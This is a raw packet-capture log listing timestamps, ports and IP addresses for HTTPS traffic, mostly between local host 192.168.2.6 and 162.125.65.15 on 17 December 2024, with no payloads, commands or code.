Dec 17, 2024 12:14:04.506773949 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.513044119 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.513063908 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.513125896 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.513140917 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.518527031 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.518552065 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.518584967 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.518591881 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.518646002 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.523622990 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.523698092 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.523715973 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.523806095 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.523811102 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.523972988 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.625449896 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.676067114 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.676089048 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.676125050 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.676166058 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.676177979 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.676227093 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.681840897 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.681862116 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.681962013 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.681962013 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.681969881 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.687905073 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.687920094 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.688011885 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.688011885 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.688019037 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.693309069 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.693387985 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.693451881 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.693451881 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.693463087 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.693492889 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.695183992 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.698965073 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.699027061 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.699093103 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.699093103 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.699100971 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.704526901 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.705207109 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.705252886 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.705318928 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.705318928 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.705326080 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.711232901 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.711306095 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.711329937 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.711370945 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.711404085 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.717032909 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.717077971 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.717124939 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.717139959 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.717184067 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.719124079 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.741089106 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.868788004 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.868814945 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.868875027 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.868891954 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.869045973 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.874262094 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.874278069 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.874347925 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.874356985 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.874435902 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.880094051 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.880111933 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.880172968 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.880182028 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.880274057 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.885128021 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.885144949 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.885313988 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.885323048 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.885438919 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.891093969 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.891114950 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.891186953 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.891195059 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.891289949 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.897459984 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.897517920 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.897567987 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.897576094 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.897727013 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.900813103 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.902766943 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.902786970 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.902825117 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.902839899 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.902872086 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.908786058 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.908807039 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.908886909 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.908886909 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.908895969 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.910854101 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.910861015 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:04.910939932 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.920651913 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:04.992643118 CET	443	49920	20.198.119.84	192.168.2.6
Dec 17, 2024 12:14:04.992801905 CET	443	49920	20.198.119.84	192.168.2.6
Dec 17, 2024 12:14:04.992942095 CET	49920	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:14:04.993191004 CET	49920	443	192.168.2.6	20.198.119.84
Dec 17, 2024 12:14:04.993210077 CET	443	49920	20.198.119.84	192.168.2.6
Dec 17, 2024 12:14:05.070761919 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.070785046 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.070867062 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.070879936 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.070935965 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.075867891 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.075911999 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.075937986 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.075958967 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.076004982 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.081065893 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.081080914 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.081140041 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.081151009 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.087672949 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.087688923 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.087774038 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.087786913 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.087970972 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.092905045 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.092921972 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.093084097 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.093096018 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.093146086 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.107209921 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.107228994 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.107278109 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.107289076 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.107332945 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.107332945 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.112363100 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.112392902 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.112423897 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.112443924 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.112492085 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.112492085 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.118339062 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.118355989 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.118477106 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.118490934 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.118690014 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.121820927 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.263266087 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.263286114 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.263397932 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.263411999 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.263451099 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.268292904 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.268351078 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.268415928 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.268415928 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.268425941 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.273618937 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.273673058 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.273720026 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.273727894 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.273760080 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.279377937 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.279428005 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.279458046 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.279468060 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.279582977 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.280047894 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.280147076 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.280155897 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.286142111 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.286206007 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.286215067 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.286235094 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.286263943 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.299226046 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.299272060 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.299325943 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.299341917 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.299371958 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.299484015 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.304764986 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.304821014 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.304847002 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.304869890 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.304930925 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.304930925 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.310519934 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.310569048 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.310626030 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.310637951 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.310691118 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.310691118 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.310693026 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.310724974 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.312134027 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.317044020 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.490888119 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.490952969 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.491014957 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.491030931 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.491077900 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.491157055 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.495887995 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.495934963 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.495986938 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.495986938 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.496000051 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.501986027 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.502031088 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.502099991 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.502121925 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.502155066 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.506989956 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.507034063 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.507118940 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.507118940 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.507134914 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.507733107 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.507791996 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.507802010 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.513705015 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.513758898 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.513812065 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.513824940 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.513839960 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.531941891 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.531985998 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.532021046 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.532047033 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.532087088 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.532087088 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.537650108 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.537694931 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.537763119 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.537775993 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.537789106 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.538016081 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.542799950 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.542843103 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.542921066 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.542921066 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.542936087 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.543009043 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.543476105 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.543534040 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.683496952 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.683533907 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.683629036 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.683644056 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.683747053 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.688694000 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.688752890 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.688771009 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.688790083 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.688836098 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.694569111 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.694592953 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.694669008 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.694680929 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.694713116 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.700542927 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.700566053 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.700601101 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.700629950 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.700644016 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.701019049 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.706568003 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.706626892 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.706665993 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.706675053 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.706701040 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.706763983 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.724581003 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.724628925 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.724680901 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.724692106 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.724800110 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.730145931 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.730165005 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.730343103 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.730357885 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.735385895 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.735402107 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.735456944 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.735467911 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.735631943 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.736201048 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.736344099 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.736356020 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.788481951 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.877047062 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.877060890 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.877080917 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.877103090 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.877166033 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.877173901 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.877226114 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.882231951 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.882244110 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.882266045 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.882302046 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.882308960 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.882355928 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.882355928 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.888107061 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.888129950 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.888268948 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.888274908 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.888400078 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.893852949 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.893872023 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.893927097 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.893940926 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.894074917 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.899693012 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.899709940 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.899770975 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.899790049 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.899930000 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.917956114 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.917978048 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.918018103 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.918035984 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.918070078 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.918101072 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.923261881 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.923280954 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.923366070 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.923376083 CET	443	49866	162.125.65.15	192.168.2.6
Dec 17, 2024 12:14:05.923425913 CET	49866	443	192.168.2.6	162.125.65.15
Dec 17, 2024 12:14:05.929616928 CET	443	49866	162.125.65.15	192.168.2.6
